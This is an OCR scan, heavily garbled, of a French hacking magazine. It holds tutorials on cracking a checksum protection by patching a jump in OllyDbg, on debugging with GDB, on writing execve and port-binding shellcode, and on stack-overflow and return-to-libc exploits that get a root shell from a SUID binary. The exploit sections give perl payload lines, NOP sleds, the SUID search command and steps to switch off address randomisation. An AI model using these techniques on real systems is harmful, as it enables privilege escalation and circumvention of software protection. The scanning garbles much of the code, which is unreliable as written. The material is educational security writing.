colonne vous indique I'adresse de ce code en dur
dans |'exécutable (OXO00006F5 pour moi). Cette

Rendre persistant les changements...

étape est nécessaire, car les adresses affichées
dans la fenétre principale sont des adresses
mémoires. Notez cette adresse et le code hexade-
cimal de la seconde colonne (7512) qui correspond
au code assembleur. Fermez Ollydbg et lancez I'édi-
teur hexadéecimal.

Rendez-vous & I'adresse notée : 6F0 pour la ligne +
6 pour l'instruction (on compte & partir de 0).
Remplacez alors 75 (JNZ) par EE (JMP).
Sauvegardez et testez le programme sans Ollydbg.

Conclusion

Félicitations, vous venez de passer votre premiére
protection avec checksum. Ce genre de protection
est courant mais pour rendre la tache plus difficile,
les chaines de caractéres sont désormais souvent
dissimulées. De plus, nous avons étudieé un exem-
ple avec un "TEST" et un "JNZ", mais sachez qu’ll
existe de nombreuses autres combinaisons qui
peuvent compliquer la chose. Cependant, seuls
votre logigue et vos connaissances en assembleur
constituent vos limites. A bientdt dans un prochain

numéro pour un autre type de protection...
Davioc PUCHE | SnAKE
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Trouver des hug
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INTRODUCTION

GDB est I'acronyme de Gnu DeBugger. C'est un
debugger puissant dont I'interface est tutalement
en ligne de commande, c'est & dire avec une invite |
en texte. GDE est tellement apprécié qu'on le
trouve aussi encapsulé dans des interfaces graphi-
ques, comme XXGDB ou DDD. GDB est publié sous
la licence GNU GPL et gratuit par effet-de bord. :

Notre programme

Pour pouvoir débugger un prugramme il nmus en |
faut un;-)

Ce n'est pas la peine de prendre compliqué, le but |
est de comprendre les fonctionnalités de GDB. .

#include <stdio.h>

chaf 1Aput5] ;'
int i=l::l*

scamﬂ %5" in;irut],

.‘_*_"- T o

fcr[i=ﬂtrlan{1nput],l}mﬂ k_H}

{ Drinef("sc” input{i]y;}
printf("\n");

return 0:

}

i " T '}
A T ter vy e A Y S
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Quoi de plus difficile
que de retrouver un
bug dans un pro-
gramme surtout si
celui ci n'est pas ou
mal commenté ? De
nombreux outils sont
disponibles sur le web
‘mais peu ont toute la
souplesse et les fonc-
tionnalités de GDB.

Vous devez, pour débugger ce programme, le com-
piler avec les options de débuggage, cecl pourra
etre fait en utilisant I'option -g :

ECC MONProg.c -g -0 monprog

g++ monprog.cpp -g -0 monprog

Choisissez bien sur la ligne correspondante au lan-
gage utilisé, C ou C++. Essayez ce programme, il

| faut entrer une chaine de caractére et celleci est

affichée a |'écran, a I'envers.

| GDB en détails

Maintenant que nous avons compilé notre pro-
| gramme, nr::us pouvons lancer le debugger.

fasm@FasSm: ~/HackingSchool$ gdb fmnnpmg
_GNU. gdb. 6:4-debiah

Gapyright 2005 Free Software Fnun.-rjahmn, inc.

. GDB i§ frée software; cavered by the GNU ﬁenerar
- Public Licénse, and you are =

; welcome to change it and/or distrrhute nnpres of it

under certain conditions,

| Type "show copying" 1o see the uundtﬂuns.
There is absolutely no warranty fm GDE . Type

"sHow warranty” for details.

ThEs GDB  was configured as "E4EB-Iinu:-:-
gnu Using . host libthread db library
Y /tls /1686 /cmov/libthread db.so.1".

(gdb)

' Vous obtenez maintenant un prompt gdb, vous étes
maintenant dans le debugger. Vous avez la possibi-




lité d'utiliser 8 commandes principales : - ment qui est le nom de la variable voulue.
break, run, print, next, step, continue, display et | (gdb) print i
where ' $1=0
| (gdb)
essayons de comprendre ces 8 commandes. |
' Nous voyons ici que la variable | & pour valeur 0.

La commande break :
' La commande Next and Step

5j vous souhaitez faire une pause & une ligne spéi

ciale de votre programme, par exemple a la ligne 6! Ces deux commandes font, en gros, la méme

(int i=0). ' chose, c'est a dire passer a I'instruction suivante.
' La seule différence est que la commande next va

(gdb) break & | permettre d'entrer dans une fonction tandis que

Breakpoint 1 at 0x80483b5: file monprog.c, line 6. ' step va passer au « dessus » de la fonction.

(gdb) |

' (gdb) step
Il suffit donc de dire a gdb break & ce qui aura pour | 8 scanf("%s" input);
effet d'arréter le programme & cette ligne lors de | (gdb) print i

I'exécution. - $2=0
+ (gdb) next
La commande run | test

10 for(i=strlen(input);i==0;i-)
Comme vous vous en doutez, cette commande va | (gdb)

permettre de lancer le programme. Celui ci va étre
normalement lancé (comme Si Vous etiez en dehors | Que s'est il passé 7 step a permis de passer a l'ins-

de gdb) et ce jusqu'a ce qu ‘il rencontre un break- | truction suivante, le scanf. Si maintenant je rede-
point (ligne 6 pour nous). | mande de donner la valeur de i (print i}, on voit que
i vaut toujours 0. Si, ensuite, je demande next, on
(gdb) run | se retrouve avec le curseur clignotant en attente car
Starting program: /home,/fasm,/HackingSchool/monprog | en effet, nous avons demandé l'instruction sui-
| vante, le scanf a donc été exécuté et le programme
| attend gue nous entrions une chaine de caractére,
ce que j'ai fait en entrant test.

Breakpoint 1, main () at monprog.c:6
6 int i=0;
(gdb)

|
' La commande continue

Vous pouvez remarguer que le programme est |
arrété et que la ligne en face du breakpoint est rap- | La commande continue permet de continuer le pro-
pelée. | gramme aprés le breakpoint , ce que nous pouvons

. faire maintenant.

si vous utilisez run de nouveau, gdb vous demande |
si vous voulez relancer le programme du début ou | (gdb) continue

non. | Continuing.
| tset
(Edb) run |
The program being debugged has been started | Program exited normally.
already. ' (gdb)
Start it from the beginning? (y or nj n |
Program not restarted. ' Vous pouvez donc remarquer que le programme se
(gdb) " termine normalement et vous pouvez voir le mot
| tset apparaitre ce qui est bien le mot test a l'en-
La commande print | vers,

La commande print va vous permetire de voir les La commande Display

valeurs prises par les différentes variables de mtre’é
programme. cette commande demande un argu-| La commande display va permettre de voir le
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contenu d'une variable & chaque éta

pe du pro- | « A = par exemple.
gramme. retirons d'abors notre breakpoint, ajuuvi :
tons en un & la ligne 11 ( devant { (gdb) run

- AAAAAAAAAAAAAAAAAAAA
I .
' Program received signal SIGSEGY, Segmentation

printf(*%c",input[i]);} ) et regardons ce qui se passe. | Starting program: /home,/fasm/Hacki 00l/monprog i

(gdb) del break 1

(gdb) break 11 fault.

Breakpoint 2 at 0x80483f1: file monprog.c, line 11. | 0x41414141 in 27 ()

(gdb) run ' (gdb) -

Starting program: |

/home /fasm/HackingSchool /monprog ! Vous voyez gue le programme s'arréte en vous indi-

test '
| quant que le programme s'est planté.

. tapez maintenant where :
' (gdb) where

#0 0x00414141 in ?7? ()
#1 Ox00000001 in 77 ()
(#2 Oxbff75124 in 77 ()

Breakpoint 2, main () at monprog.c:11
11 { printf{("%c",input[i]);}

(gdb) display input[i]

1: inputfi] = 0 "\0O"

(gdb) next | '
. C#3 Oxbff7512¢ in 27 ()
10 - i>=0: ’
i pu:ﬁ;{i Etl:[:gil[lnput}.l}ﬂfl-} i ;Td Oxb7f6bbf6 in _di_rtld_di_serinfo () from /lib/Id-
; nux.so.2
db )
(gdb) next ;ewuus frame inner to this frame (corrupt stack?)
| | db) '
Breakpoint 2, main () at monprog.c:11 ili
( .C: - Vous pouvez ut
o {Pﬂntf{“%::',mpq.:t{i]};} | yous ::;np:r;:v:_ iliser la commande up pour remonter
1: inputfi] = 116 't | (gdb) up
[fdb] next | #1 Ox00000001 in 2?7 ()
0 fl?n[l=stﬂen{1nput'_l;|}=ﬂ;l~} (gdb) up
fﬁ-d iél}p;l;[;lt =116 't' (#2 Oxbff75124 in ?? ()
- (gdb) up
; #3 Oxb i
E;eakp:{nntl Et.f{maln () at monprog.c:11 (gdb) Upﬂ?ﬁl.?c nero
printf("%c",input[i]);} ' i
e | I!T:u E:E?Efﬁbhfﬁ in _di_rtld_di_serinfa () from /lib/Id-
(gab) next (gdb) up
for(i=strlen{input);i==0;i- iti
1 ] & 18 ) Initial frame selected; you cannot go up.

(gdb) next '
) | On quitte donc le programme gdb en marquant quit

Breakpoint 2, main () at monprog.c:11
11 { printf("%c”,inputd
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Les attaques par buffer overflow sont parmi les plus
répandues, environ 60 % des attaques connues. |l s'agit
d'exploiter un bug dans la gestion de zones mémoires
déclarées dans le programme, afin de lui faire exécuter

une action qu'il n'était pas cense faire.

INTRODUCTION

De maniére générale, le pirate essaiera d'exécuter |

un bind de shell , une reverse connexion a distance
ou un simple /bin/sh.

Cela sera essayé sur un binaire ayant le SUID root, |

afin d'élever ses privileges, jusqu'au statut de root.
A la recherche du suid root

La premiére chose a trouver sur une machine UNIX
lors d'une attague en local est un programme vulneé-
rable, mais cela ne suffit pas.

| faudrait injecter notre code arbitraire dans un pro-
gramme qui est ex&cuté avec les droits root méme
s'il est appelé par un utilisateur.

Exemple:
vous &tes utilisateur et vous voulez changer votre

password, il faut pour cela gue vous puissiez écrire |

dans /etc/shadow avec les droits root pour modi-

fier le contenu.
Sji le pirate parvient a faire exécuter du code arbi-

traire au programme passwd (un /bin/sh par exemr |

ple) il se trouvera avec les droits root et sera en
possession d'un shell qui lui permetlra d'exécuter
n'importe quelles commandes en tant que root.
Comment savoir les programmes avec |e suid root
activeé ?

Il suffit de lancer la ligne de commande suivante :
find / -type f -perm -04000

Trouver le suid root

' Explication générale

sur le format ELF

' Un binaire n'est pas qu'une suite d'instructions

assembleur qui s'appellent successivement, mais
est composé d'un certains nombres d'autres élé

 ments.

D'abord une entéte ELF (élément indispensable de
tout exécutable sous ce format).

Puis d'autres &léments tels que variables, code exe-
cutable ...

[entéte ELF]
contient toutes les informations nécessaires, telle

gue la localisation des autres structures du pro-
gramme ainsi que leur localisation en mémoire...

il est I'&lément indispensable & tout programme ELF

[Les segments ELF]
Les différentes sections sont regroupées en seg

ments.

On retrouvera I'ensemble de ces entétes (une pour
chaque segment) dans la table des headers de seg-

ment, qui est elle méme définie directement aprés
le ELF header dans le fichier bin.

[Les sections ELF]

LE!‘E se-_r:tinras sont des zones qui seront chargées en
meémoire lors de I'exécution du binaire,

Chacupe d'entre elles posséde également un hea-
d:!er qui est défini dans |a table des headers de sec-
tions,

On peut obtenir la localisation de chacune de ces

secltimns ainsi que les informations grace & deux
outils objdump et readelf.

i PN gy R i a2
| re ;
u, |JI — I | 1~ - || f
. - o B | W0 ol

g0t : chague entrée de cette section contient entre
autre |'adresse absolue des différentes fonctions,
quelles solent appelées dynamiguement ou n::}n;
Cette table permet au programme d'avoir un accés

directe aux difféerentes fonctions qu'il pourrait appe-
ler.

pit :i{:haquc section qui aura été préalablement
appelée dans le programme sera référencée dans
cette section. Chaque entrée permettra en autre de

Jumper sur I'adresse de la .got contenant |'adresse
absolue de la fonction appelée.

Les sections les plus importantes sont -

.ctors et .dtors : ces sections contiennent respecti- Exemple 1

vement les adresses mémoires:des fofictions ‘qui

sdoivent &tre appelées en début et en fin de pro- . La premiére chose a fairé est done de b:réér le pro-

_g;amme. Ces sections sont propres au compilateur | gramme assembleur
E .- i E ] - "

Compréhension des shellcodes

Readelf

. .data: Cette section contient I'ensemble des varia-
bles globales du programme.

Jodata:  section dans laguelle sont définies les
constantes

.bss: contient les variables locales

+ ; Prérequis |

Cutext : Cette section contient lé code exécutable du

: programme - assembleur
edb

bonne compréhension de la pile

| hitp://docs.cs.up.ac.za/ programming,/asm, derick
“tut/syscalls.html |

Eﬂpren?ﬂs le programme assembleur de 'encadré,
expliqué dans un article précédent.




iﬁ?&nffﬁﬁthﬁn..

input(“entres le now de votre
Cassembleurin’ ).

'Empﬁ}_f- Rk
tem{commandd) o
LS _ iﬂ{kﬁhei1£¢ﬁ*ﬁ,'x'}
B 1icne-” doin(fd.zeadline())
sl ;ééléysfﬁmﬁ"tﬁuﬁh ghellcodel”)
G -_";fl'-aﬂ::i;:iént"_“&’-hell::rf:—'ciel.'_','w" g
-:..f:.,-:- ile ligne:
f;u':ﬁgFiiqne}apliti"'f}
P write(tpl2]) =
0 ligne="".join(fd.readline(}}
flicloss() |
Fieopan| "shelleodel”,
'g_:r'.._";%:ieaif'l;.rmmi[é-} -

Nous voulons, pour pouvoir utiliser ce code p:}uri
une attagque de type buffer overflow, le transformer
en code héxadecimal. ;- o
Pour cela, ['utiliserai un pmgmmme ql.::el j'ai rﬁahzﬁ |
en on qui transforme directement le code en | BEiiiass it
hé:-tawu;mgrqamnm que je vous donne en encadré | W-Ell—"‘.-:,f"i"fE.ﬂ_;ﬂn{ tc‘.lu-;...h 5111-41?.--_&1 j
{shal]mda.py}. Pour une compréhension de ce pro- | ff:“{}pr;.:‘i ":_a,]?e;lfma—.g ; “r., , .
gramme, reportez vous au hacking school spécial | SREei Eeiisits she.{lccu::lE{ Famhhigs
python. Il faut que le programme en assembleur soit | while codes

| . :.fhﬂxmr“Kﬁﬁ+ﬂuﬂﬂ
la méme répertoire que shellcode.py | RSB
dams lo % 8 focowriteihex)

G dndest ]l vead (2]
| _ié;mhitecr'“:'}f :

B il.ciose)

B fcoclosel)

g 10
H

i . I’ . et bl I RERE AT VNN
W L AL RO PR T LR % B ¥ etk J

N td.closety S
B os.systen(’mm shelitemp!)

T AR, FROT 8, P T

Fﬂﬂmlﬂrﬂeﬂ : [binfsh

B Int main{){

' S eoommands -

eardgeidli
{0 ]=command;

Sy T ECT A Y R

il d 0y
{conmand args, 0);

L phan ebx
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Shellcode

Pour écrire le programme en assembleur correspon- | execve (deux derniéres lignes).

dant & celui en C dans I'encadré, nous allons devoir Mous pouvons maintenant transformer le pro-
retourner sur le site des syscalls pour trouver com-  gramme  assembleur de. |'encadré (appelé
ment &crire la fonction execve(): sys_execve(struct = execve.asm). ' :

Shellcode ayec execve

On donne a cette fonction comme argument la | Exemple 3: Port Binding Shell
chaine de caractére suivie du caractére fin de

pt_regs regs).

chaine soit //bin/sh. - Cet exploit est souvent utilisé, il ouvre un port et
CDQ - Convert Double to Quad exécute un shell quand quelqu'un se connecte au
Syntaxe : CDQ . port.

CDQ etend a 64 bits le contenu signe de [EAX]. Le |

résultat est renvoyé dans [EDX:EAX).

Mous mettons d'abord eax et edx & zéro.

Ensuite nous créons la chaine de caractére dans la |
pile en « pushant » eax comme la fin de chaine et |
ensuite la chaine //bin/sh. Nous sauvons le poin- | §&%
teur de la chaine de caractére dans ebx. :
Avec cela le premier argument est rangé. :
Maintenant que nous avons le pointeur nous allons |
pourvoir créer un tableau dans lequel nous allons |
mettre eax (0, il sert & terminer le tableau), suivi du |
pointeur sur la chaine de caractére . !
Nous pouvons maintenant charger le pointeur vers
ce tableau dans ecx gue nous pouvons utiliser |
comme deuxiéme argument de I'appel system. :
guments sont g By ‘ Hﬁ!%ﬁ}-

et S

e KRR =} -1 LN =Ur un mrt.
plgh eax . n crée un socket, on é&coute et on
accepte une connexion en lui offrant un /bin/sh.
e Cela nous donne un programme en assembleur qui
wov: &l ressemble & celui en encadré.

int

39



Les stack overflow

Les stack overflow sont les plus communes &l les
plus facilement exploitables. A
Prenons comme exemple ce programme : =

MNous devons compiler le programme .

gee -0 vuinl.c vulnl

ensuite, nous devons désactiver le patch linux pour
réussir cet exploit
bash-3.00# cat fpmmfsysflmliﬂlfmm&m_ﬁ_ap&&:

1
bash-3.00# echo 0 = fprcn-r:fs:.rsf kernelfrandc:t‘ !

mize va_space i
bash-3.00# -*:'-','H
bash-3.00# cat /proc/sys/kernel/randomize va space.
0 s i
bash=3.00#

Dans le programme ci-dessus, le buffer a éte
déclaré avec une taille de buffer de 512 octets.
Les sauvegardes des registres sur la pile sont
codées sur 4 octets (registres 32 bits).

Les deux arguments de la fonction func sont des
adresses de buffer, ils sont codés sur 4 octets.

' Si nous arrivons & écrire 4 octets de plus que la
tagille du buffer, alors les 4 octets de EBP seront
écrases.

Si nous arrivons a écrire 4 octets de plus, alors
c'est EIP qui sera &crasé.

. Si EIP est écrasée par une valeur que nous aurons
. dé&fini, lors de I'appel a ret, c'est la valeur modifiée
qui sera pop dans la pile et sur laquelle le pro-
gramme jumpera.

On risque d'avoir un écart de 4 octets suivant la ver
sion du compilateur.

' Donnons le bit suid root & vulnd:
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chown root.root vulnl
chmod 4755 wvulnl

Test de vulnérabilité avec 512 octets

Le test avec 512 octets de buffer
. ne nous donne '
Nous allons tenter avec 514 octets. Eo el wrcsan.

Test de vulnérabilité avec 514 octets

Lﬂ::lg éx;juyn:s qu‘_avec: 514 octets, on commence a &craser eip (0x08004142)
uction, si nous essayons 516 octets, nous devrions arriver 4 0x41424344 soit ABCD

Test de vulnérabilité avec 516 octets

gssayant de jumper & |'adresse Dx4142434d uicuHﬂf

qui 0On va.donc:tes nop-
es représentation hexadécimale de DCBAD {Emgﬂj} jusau’ at;f {?::Ie nm e E‘?ﬁ-‘,:
s ﬁ;ﬁfﬁ‘lﬁﬂ de faire jumper e programme sur Passohs au chlcdl: | |
& : far:lﬁr::uﬁ asm injectées en ménmire pour écraser eip, nous avo E ;hr
i cuter un /bin/sh. pliis doba = 522 e
S tets.
;__ e ra plﬂs airnple pour, injegterun shellcmdﬁ Dcmc pour arrwer gﬁan‘t eﬁé

Lancement du buf
La pile en détail

i e e R




"ualuﬁﬂxxggxxﬁﬂuEE\xEF\xEFuTBR}:EE&xESH Voila nous avons obtenu un shell root.

:(EFHEERKEQHKEiEuEQuEEHEDHEBWEﬂR}LElﬁE
0'\x0B\xCDw80" . "BBBB" "~

Nous devons maintenant aller voir ce qu'il se passe
dans eip.

(gdb)x/2000xb Sesp

T

Choisissons ure adresse qui se trouve. dans lEE. 5

nop :
par exemple : Oxbfad12f0
de DCBA, on

A la place

vaille en little indian !

perl - 'print "A" x 156 . "w90" x 340
E;Eiuﬂﬂxxggxﬁ{}HEEEHEFHEF\J{TEWEE&:{ES.H;

mettra donc |
\wfi0\x12%xad \wbf , n‘oublions pas que I'intel tra- |

' CONCLUSION

Grace a cet article, nous avons appris les bases
d'un stack overflow. J'al opté pour VOus apprendre

| cela d'utiliser linux mais sachez que le principe est
' le méme sous windows.

Vous utiliserez bien sdr pour
cela comme compilateur
devc++ par exemple et
comme débugger Ollydbg
que nous avons étudié dans

un article précédent.
Franck EseL |[FASM

Recherche des 0x%0

Bl i,
e - gy it L1
" e e ot i g

i

WwOB\CDWEO" | "l 2\kad Wb T

i I'on alancé le programme en utilisateur.

Tl 1= I__ll L) | e [ 4] |_ 210 '3 |_| ':'I_-I] :| :.lle i- = | -_ I: e ' t 'Z-I"-.t
§ Crart it trom the bEQIFTWHW?-' iy or n! Yy

irhing program; fﬂtvfffﬁ:r

o g U e, ]_I

S P

12

e

i 5 | On doit se retrouver avec un shell root alors que |

ed already,

On obtient un shell root

puis lancons le debugger :

Iﬁ_.. i :'_'\-._" N R e T q
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Nous allons voir comment utiliser

- une autre méthode plus souple i
pour permettre de prendre le Gl
controle d'un programme sans i
avoir recours a aucun shellcode.. =

| f.:ﬁ"

Il est en effet possible de retourner directement sur
une fonction de la libe ou d'une autre bibliotheque
de fonctions présentes dans I'espace mémoire du |
processus attaqué afin de 'exécuter '
Cette méthode permet de contourner les patchs
rendant la pile non exécutable ou encore d'exploiter |
des débordements impliquant de petits buffers (pas |
assez de place pour le shellcode).

LE PROGRAMME

— e

INTRODUCTION

- Désassemblons le programmer

Plagons un point d'arrét sur strepy()

SRR 5 2 , Flagons'un Breakpoint
Ce programme (encadré ) comporte tne faille.glas-
:-'-5iquE impliguanit la fonction strepy(). 3 - Nous pouvons maintenarit lancer vuln avec comme
Aucune  véfification n'est: faite surla taille de premier argument gent caractéres &
argvi1l]. L'appel a strepy() aura pour effet de copier | e

~la chaing sur |a pile tant qu'un caractére nul nesera
e e e e e e
&rﬁd-ﬂr -Wall vuln.c =o wuln “HCEsSayons une injection

ha
.-_.e

. Notre buffer fait 64 octets, & la suite de ce buffer,
. on va donc trouver ebp (4 octets ) et aprés ebp, on

1 - trouvera eip.

43



Etat de la pile
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Mous pouvons donc maintenant avoir I'adresse de /bin/sh en mémoire

Mous pouvons maintenant construire nos argu-
ments :

‘perl e 'print A" X 76 . "wBO\xEB\xed\xb7" .
"DCBA"™ | ""\x89\xf3\xf\xbf"" "~

L'adresse de retour ici, DCBA engendrera une
arreur mais on peut palier 4 cela en y mettant
I"adresse en mémoire de la fonction exit() que "'on
trouvera de la méme maniere gue celle de system).
Cette commande en perl, permet que lorsque dans
ebp, le programme trouve |'adresse d'une fonction
system(), il va aller chercher les arguments néces-
saires aprés eip (adresse de /bin/sh).

Trouver [hinfbash
en mémaoire

Quand cela est exécuté et terming, il va essayer de
retourner dans le programme principal et ce grace
au contenu de eip.

Mous obtenons un shell root.

Les outils pour nous aider

rats
il peut auditer des codes en python, perl, php, C et
C++. ses outputs sont claires.

Chpax
Chpax permet de voir les patch appliqués entre autre
aux programmes et permet de modifier ceux-ci.

' i ili rit en
Donc si nhous entrons en argument une chaine de ! Nous allons ensuite utiliser urlt prﬂgrarnn;le r‘fgmujre
F D : I E
caractére de plus de 68 octets (donc pour nous 76} | C, assez simple pour trouver I'adresse

en argv[1], I'appel de la fonction stropy provogue un  de la nouvelle variable d'environnement (cf enca-
débﬂrdam;ant de buffer en réécrivant notamment: dré : genv.c ).

les sauvegardes des registres EBF/EIP.

Lancement de rats

Analyzing valn.c

Rappel : EBP = pointeur de frame RATS results.

= pointeur d'instructions

" = S-um-ltuj;ﬂlﬁg

E]{plﬂltﬂtl'ﬂ“ few: s, ot har allocated on the stack are used safely, prime targets for ower flow
Extra care should be taken to ensure that character arrays that are on the stack are  They are prime bufer attacks.
il nous faut donc modifier 1a sauvegarde du registre File: valn.c
EIP afin de faire retourner la fonction courante (main Lines: 4
pour nous) sur une fonction de la libc. . de | wﬁ High
Nous allons donc essayer de récupérer I'adresse ! | Check to be sure that argument 2 passed to this function call will not copy more dats than can be handled, resulting in a buffer overflow,
la fonction system(). File: valn.c
Lines: 5

Trouver l'adresse de system()

Sous gdb, pour trouver une adresse d'une f:n_nc:ﬁ{:m :.
telle que systemi{) par exemple, on peut utiliser IEué :
commande : p system 1
Il faudrait ensuite placer l'argurne_nt 1 de systemi) 5
soit pour nous /bin/sh dans 1'enwmnnemer_ﬁt ]
Pour cela nous allons faire un export de Jhin/sh.

Vioir les patch

Exporter {binfbash




MUSCLEZ VOTRE
GERVEAU
EN Us AMUSANT

do not randomize |.|r. base [ELF anlul . -
randomize ET_EZEL bas "'FLF ol ] '
do not randomize BT [-_' base [ELF anly]
=ntorce seguentation §-~:~u non-executable F—H'-
wt enforce segmentation bazed non-executable
~urrent. Flag masl |
zero flag mazk (next flags st o ]

= |1‘._-r e [l |1
do not e |1"

’.':":.JI.-:T*.': ’-’."-.'-i"-"". f

do not emulate t '-:':-'u,'-"l_'-] ] e

restrict mprotectt ) !
l_-:l__l r':l':1'_ et 1CT ME .'-_'|1' .*"'i 'j | |
randomize mmapl ) base [ELF anly) '

HIIIIS
SERIE
H°2

Modifier les patch

CONCLUSION

Mous voici a la conclusion de cet article ou nous
avons vu un autre type de faille applicative.

Il en existe d'autres, plus complexes mais ne bri-
lons pas les étapes, il faut une bonne compréhen-
~ sion des bases pour aborder des failles applicati-
"~ ves plus complexes.

S Franck EgeL | FaSm

T

. Chez votre marchand de journaux




